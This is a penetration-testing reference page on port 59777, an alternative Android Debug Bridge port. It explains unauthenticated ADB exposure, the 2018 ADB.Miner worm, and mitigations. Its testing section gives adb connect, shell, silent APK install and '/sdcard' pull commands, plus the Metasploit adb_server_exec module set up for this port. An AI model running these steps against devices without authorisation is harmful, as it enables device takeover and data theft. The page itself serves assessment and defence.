Port 59777 – ADB-ALT (Android Debug Bridge Alternative Port)

Port 59777 is best known as an alternative Android Debug Bridge (ADB) port — an “adb-alt” listener seen on Android phones, Android/Fire TV boxes, and Android-based IoT devices. The Android Debug Bridge daemon (adbd) normally exposes wireless debugging on TCP 5555, but developer builds, custom ROMs, streaming-box firmware, and some vendor tooling bind ADB or ADB-like debug services to high ports such as 59777. The critical fact about any TCP ADB port is that ADB over the network has no authentication once it is enabled — anyone who can reach the port can run adb connect, drop straight into a device shell, install apps silently, and pull files. That design gap, not a specific software bug, is why an open port 59777 (or 5555) on an internet-facing Android device is treated as a full compromise waiting to happen, and it is exactly the exposure that fueled the 2018 crypto-mining worms that swept Android TV boxes and Amazon Fire TV Sticks.

Why It’s Open

ADB is the standard developer channel for talking to an Android device — installing packages, reading logs, and getting an interactive shell. Over USB it is harmless, but Android also supports ADB over TCP/IP (adb tcpip, wireless debugging), which turns that shell into a network service. When that mode is on:

• The canonical port is 5555, the default for the ADB daemon over TCP.
• 59777 shows up as an alternative on some Android builds, TV boxes, and IoT firmware — either because a vendor or ROM bound the debug service there, or because a device/app opened a secondary ADB-style listener. Port databases catalogue 59777 as an “adb-alt” (ADB alternative) port for exactly this reason.

Most legitimately-open ADB ports belong to developers testing over Wi-Fi, or to streaming boxes and IoT gadgets shipped with debugging enabled and never turned off. The problem is that “enabled for the developer” and “enabled for the entire internet” look identical to the daemon — it does not ask who is connecting. Enabling ADB debugging or “apps from unknown sources” on a Fire TV, Android TV, or phone and then leaving it reachable is the single most common reason this port is open.

Common Risks

• No authentication, by design. ADB over TCP does not prompt for a password. Any host that can reach port 59777 can adb connect and get a shell — this is a configuration/design exposure, not a patchable bug.
• Full device shell. adb shell lands you on the device with adb/shell privileges, and on many boxes su from there gives root, exposing every file, credential, and setting.
• Silent app installation. adb install pushes and installs an APK with no on-screen prompt or user consent — the exact mechanism the 2018 crypto-miners used to spread.
• Data extraction. adb pull copies photos, databases, tokens, and app data straight off the device.
• Worm-style propagation. An infected device can scan for other exposed ADB ports and reinfect them automatically, which is how ADB.Miner doubled its footprint roughly every 12 hours — the same self-spreading pattern the Mirai botnet used against Telnet on port 23.
• Device manipulation and bricking. Attackers can change settings, wipe data, or push firmware/config that renders a TV box or IoT device unusable.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

ADB speaks a binary protocol (the A_CNXN handshake), so a raw nc banner grab is not very readable — the reliable move is nmap service detection, then the adb client itself.

Detect the ADB daemon and version

nmap -sV -p 59777 <target>

nmap’s service probe recognises the Android Debug Bridge daemon and reports it as adb, often with the device/model string.

Connect and list the device

adb connect <target>:59777
adb devices

If the device appears as device (not unauthorized), ADB over TCP is open with no key prompt — that is the finding.

Confirm the shell and fingerprint the device

adb -s <target>:59777 shell id
adb -s <target>:59777 shell getprop ro.product.model
adb -s <target>:59777 shell getprop ro.build.version.release

Demonstrate impact (app install / data pull)

adb -s <target>:59777 install proof.apk
adb -s <target>:59777 pull /sdcard/ ./loot/

Metasploit payload execution

msfconsole -q
use exploit/android/adb/adb_server_exec
set RHOSTS <target>
set RPORT 59777
run

The exploit/android/adb/adb_server_exec module writes and spawns a native payload on any device listening for ADB debug messages; it defaults RPORT to 5555, so set it to 59777 for this port. Capture every open ADB port, the device fingerprint, and any shell you obtain as you go, so the evidence lands in the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

There is no single “port 59777” CVE, and no generic CVE for ADB-over-TCP — because the exposure is a configuration and design issue, not a software flaw. When wireless ADB is enabled, the daemon accepts unauthenticated connections by design; there is nothing to “patch” except turning it off or gating it. That is precisely why it is so widely abused.

The real, verifiable weaponisation is the Metasploit module and its Exploit-DB archive:

• Exploit-DB 39328 — Google Android ADB Debug Server, Remote Payload Execution (Metasploit). Connects to an unsecured ADB debug server and writes/spawns a native payload, yielding a shell (and often root via su) on the device. This is the exploit/android/adb/adb_server_exec module; it targets whatever port the ADB daemon is on (default 5555, settable to 59777).

Removed from the previous version of this page (all three were mislabeled and have been verified against NVD as not ADB-over-network issues):

• CVE-2023-20917 was cited here as an “Android ADB elevation of privilege.” It is actually a local privilege-escalation logic error in ResolverActivity.java (a wrong-file-share bug) — nothing to do with ADB or the network.
• CVE-2021-0397 was cited as an “ADB unauthorized access / authentication bypass.” It is actually a Bluetooth double-free in sdp_copy_raw_data (sdp_discovery.cc) leading to RCE over Bluetooth — not ADB.
• CVE-2020-0022 was cited as a Bluetooth RCE “chainable with exposed ADB.” It is the BlueFrag Bluetooth out-of-bounds write in packet_fragmenter.cc — a real bug, but a Bluetooth one with no relationship to this port.

Always confirm a CVE’s product and component on NVD before trusting it against a service — an exposed ADB port is dangerous because of what ADB is, not because of any of those CVEs.

Mitigation

• Turn ADB over TCP off. The fix is adb usb / disabling “Wireless debugging” and “USB debugging” in Developer options. On Fire TV, Android TV, and Google TV, switch off ADB debugging and Apps from Unknown Sources — with those off, the device cannot be reached this way.
• Never expose ADB to untrusted networks. If you must debug over Wi-Fi, do it only on a trusted LAN, and firewall TCP 59777 (and 5555) so nothing outside your workstation can reach it.
• Enforce ADB key authorisation. Modern Android prompts to authorise each debugging host’s RSA key — keep that prompt on and never blanket-approve; a device showing unauthorized is doing the right thing.
• Patch the device OS to reduce the odds that shell can escalate to root via su, and keep TV-box/IoT firmware current.
• Scan your own fleet with nmap -p 5555,59777 and disable ADB on anything that answers but shouldn’t — and treat every other unauthenticated remote-access surface (like VNC on port 5900) the same way.
• Prefer secure remote access. Where you genuinely need remote administration, use an authenticated, encrypted channel like SSH on port 22 rather than an open debug bridge.

Real-World Example

The canonical case is the 2018 ADB-exposure crypto-mining wave. In early 2018, researchers at Qihoo 360’s Netlab documented ADB.Miner, a worm that scanned the internet for Android devices with the ADB debug interface open, connected without any authentication, and installed a Monero (XMR) miner — then used the newly-infected device to scan for and reinfect others, roughly doubling every 12 hours and hitting thousands of devices within a day. A widely-reported variant reached Amazon Fire TV and Fire TV Stick devices, installing itself as an app called “Test” with the package name com.google.time.timer, pegging the CPU to mine cryptocurrency and interrupting video playback. Users typically got infected after enabling ADB/USB debugging and “unknown sources” to sideload piracy apps, which left the debug bridge reachable. In the primary reports the worm targeted the standard ADB port 5555; port 59777 is the same exposure on the same class of devices — an unauthenticated Android debug bridge on the network — which is why it belongs on any ADB checklist. The whole episode is the lesson in one line: an ADB port open to the internet is not a debugging convenience, it is an open, passwordless root shell.

FAQ

What is port 59777 used for?

Port 59777 is an alternative Android Debug Bridge (ADB) port — “adb-alt.” ADB is the developer channel for controlling an Android device (installing apps, reading logs, getting a shell). It normally runs over TCP on port 5555 when wireless debugging is enabled, but some Android builds, TV boxes, and IoT firmware bind ADB or an ADB-style debug service to 59777 instead.

Is port 59777 dangerous?

Yes, whenever it is reachable from an untrusted network. ADB over TCP has no authentication once enabled, so anyone who can connect to the port can open a shell, install apps without any prompt, and copy data off the device. An internet-facing ADB port should be treated as a full device compromise.

What is the difference between port 5555 and port 59777?

5555 is the default, standard port for the Android Debug Bridge daemon over TCP/IP. 59777 is a documented alternative (“adb-alt”) that appears on some devices, ROMs, and TV-box firmware. The risk is identical: both expose an unauthenticated ADB shell. If you see either open on a device you don’t fully control, disable ADB.

Why is port 59777 open on my Android TV box or phone?

Almost always because ADB / wireless debugging is enabled and never turned back off — often after someone toggled Developer options or “Apps from Unknown Sources” to sideload an app. On Fire TV, Android TV, and Google TV, turning off ADB debugging closes the exposure.

How do I check whether my device is exposed?

From another machine, run nmap -sV -p 5555,59777 <device-ip>; if it reports an adb service, try adb connect <device-ip>:59777 and adb devices. A status of device means ADB over TCP is open with no authorisation. Fix it by disabling ADB/wireless debugging and firewalling the port.

How do I secure or close port 59777?

Disable ADB over TCP (adb usb or turn off Wireless/USB debugging), switch off “Apps from Unknown Sources” on TV boxes, firewall TCP 59777 and 5555 to trusted hosts only, keep ADB key authorisation enabled, and rescan to confirm the port is closed. For legitimate remote administration, use an authenticated channel like SSH on port 22 instead.

TL;DR

• Service: Android Debug Bridge daemon (adbd) — 59777 is an “adb-alt” alternative to the standard ADB port 5555
• Default port: 59777/TCP (standard ADB is 5555/TCP)
• Biggest risk: ADB over TCP has no authentication — an open port is an unauthenticated root-capable shell allowing silent app install, data theft, and worm-style crypto-miner infection (ADB.Miner / Fire TV “com.google.time.timer”, 2018)
• Mitigation: disable ADB/wireless debugging, turn off unknown-sources on TV boxes, firewall the port to trusted hosts, keep ADB key authorisation on, and use SSH for real remote access; log findings in your pentest report